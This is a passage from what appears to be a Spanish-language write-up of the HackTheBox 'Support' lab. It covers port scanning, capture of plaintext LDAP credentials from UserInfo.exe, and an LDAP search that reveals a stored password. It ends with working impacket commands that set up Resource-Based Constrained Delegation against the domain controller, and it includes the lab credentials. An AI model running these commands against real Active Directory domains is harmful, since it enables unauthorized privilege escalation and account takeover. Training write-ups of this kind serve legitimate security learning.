&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: 5s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-26T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; N/A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Se puede enumerar mediante &lt;strong&gt;null session&lt;/strong&gt;.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina &lt;strong&gt;Support (Easy)&lt;/strong&gt;. Incluye enumeración, extracción de credenciales, acceso como usuario y escalada mediante &lt;strong&gt;RBCD&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8013-b9cf-e4e76515e53d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;h3 id="escaneo-de-puertos"&gt;Escaneo de puertos&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;41Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49664&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49680&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49692&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49697&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49714&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;19155&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;37046&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;25972&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;12574&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: 5s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-26T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; N/A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Se puede enumerar mediante &lt;strong&gt;null session&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8068-aea3-c601dc4e36a7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80c1-8a62-d91125cc9722.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Recogemos herramientas para el análisis y llama la atención &lt;strong&gt;UserInfo.exe&lt;/strong&gt;. Lo descomprimimos y revisamos DLLs y ficheros de configuración. Con &lt;code&gt;strings&lt;/code&gt; no aparece nada útil inicialmente.&lt;/p&gt;
&lt;h2 id="análisis-de-userinfoexe-extracción-de-credenciales"&gt;Análisis de UserInfo.exe (extracción de credenciales)&lt;/h2&gt;
&lt;p&gt;Para poder ejecutar el binario desde Kali, instalamos dependencias y lo probamos con &lt;strong&gt;mono&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Support/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# mono UserInfo.exe -find &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Usage&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; UserInfo.exe [&lt;span style="color:#66d9ef"&gt;options] [commands&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v|--verbose Verbose output
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Commands&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; find Find a user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; user Get information about a user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;-find&amp;#39;&lt;/span&gt; is not recognized as a valid command or option.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Did you mean&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; find
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Support/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# mono UserInfo.exe find &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] At least one of -first or -last is required.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Support/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# mono UserInfo.exe find -first lala &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Exception&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Connect Error
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aparece un &lt;strong&gt;Connect Error&lt;/strong&gt;. Abrimos Wireshark para entender qué ocurre.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80a2-9911-db18444f20db.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La causa es que necesitamos resolver el dominio (añadir el nombre de dominio a la IP, para que el DNS resuelva correctamente).&lt;/p&gt;
&lt;p&gt;Al revisar el tráfico, vemos que &lt;strong&gt;UserInfo.exe&lt;/strong&gt; se comunica con el servidor usando el usuario &lt;strong&gt;ldap&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80f3-b919-f11fcdc5ac33.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo importante: las credenciales viajan &lt;strong&gt;en texto plano&lt;/strong&gt;, así que obtenemos el primer par usuario:contraseña.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-809d-a8b6-e687ba095d23.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración-de-ad"&gt;Enumeración de AD&lt;/h2&gt;
&lt;p&gt;Con estas credenciales lanzamos enumeración con BloodHound.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-803c-b3ce-f921b4ceb5cb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;No aparece un camino directo, pero destaca el usuario &lt;strong&gt;support.htb&lt;/strong&gt;, ya que pertenece a un grupo no estándar.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-808f-8e7c-e6ca43ccc88c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Como BloodHound no siempre recoge todo, enumeramos también vía &lt;strong&gt;LDAP&lt;/strong&gt; para obtener campos adicionales (por ejemplo, &lt;code&gt;info&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ldapsearch -H ldap&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//support.htb -D &lt;span style="color:#e6db74"&gt;&amp;#39;ldap@support.htb&amp;#39;&lt;/span&gt; -w &lt;span style="color:#e6db74"&gt;&amp;#39;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz&amp;#39;&lt;/span&gt; -b &lt;span style="color:#e6db74"&gt;&amp;#39;DC=support,DC=htb&amp;#39;&lt;/span&gt; &amp;gt; ldap.out
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En la salida encontramos una credencial en claro en el campo &lt;code&gt;info&lt;/code&gt; de un usuario.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80c5-bfc1-f96394a9d81e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;support.htb:Ironside47pleasure40Watchful
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-805f-a01f-f76834589eda.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con esto obtenemos la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8000-98a8-db67e2aaa6a7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escalada-resource-based-constrained-delegation-rbcd"&gt;Escalada: Resource-Based Constrained Delegation (RBCD)&lt;/h2&gt;
&lt;p&gt;A partir del grafo de BloodHound, el camino a &lt;strong&gt;Domain Admin&lt;/strong&gt; pasa por &lt;strong&gt;RBCD&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="resumen-rápido-de-rbcd"&gt;Resumen rápido de RBCD&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Objetivo:&lt;/strong&gt; lograr que un equipo/servicio acepte que nuestra cuenta puede &lt;strong&gt;suplantar&lt;/strong&gt; (impersonate) a otro usuario al pedir tickets Kerberos.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Idea:&lt;/strong&gt; crear una cuenta de máquina controlada por el atacante, permitirle actuar en nombre de otros sobre el objetivo y luego solicitar un ticket para un servicio del objetivo suplantando a &lt;code&gt;Administrator&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="paso-1-crear-una-cuenta-de-equipo-controlada-por-el-atacante"&gt;Paso 1: crear una cuenta de equipo controlada por el atacante&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;(Usamos Impacket para crear `ATTACKERSYSTEM$`.)
&lt;/code&gt;&lt;/pre&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/kali]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-addcomputer -method SAMR -computer-name &amp;#39;ATTACKERSYSTEM$&amp;#39; -computer-pass &amp;#39;Summer2018!&amp;#39; -dc-host 10.129.230.181 -domain-netbios support.htb &amp;#39;support.htb/support:Ironside47pleasure40Watchful&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2018!.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="paso-2-permitir-delegación-sobre-el-objetivo-dc"&gt;Paso 2: permitir delegación sobre el objetivo (DC$)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Escribimos el atributo para que `ATTACKERSYSTEM$` pueda actuar en nombre de otros usuarios sobre el objetivo.
&lt;/code&gt;&lt;/pre&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/kali]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# impacket-rbcd -delegate-from &amp;#39;ATTACKERSYSTEM$&amp;#39; -delegate-to &amp;#39;DC$&amp;#39; -action &amp;#39;write&amp;#39; -dc-ip 10.129.230.181 &amp;#39;support.htb/support:Ironside47pleasure40Watchful&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Delegation rights modified successfully!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy
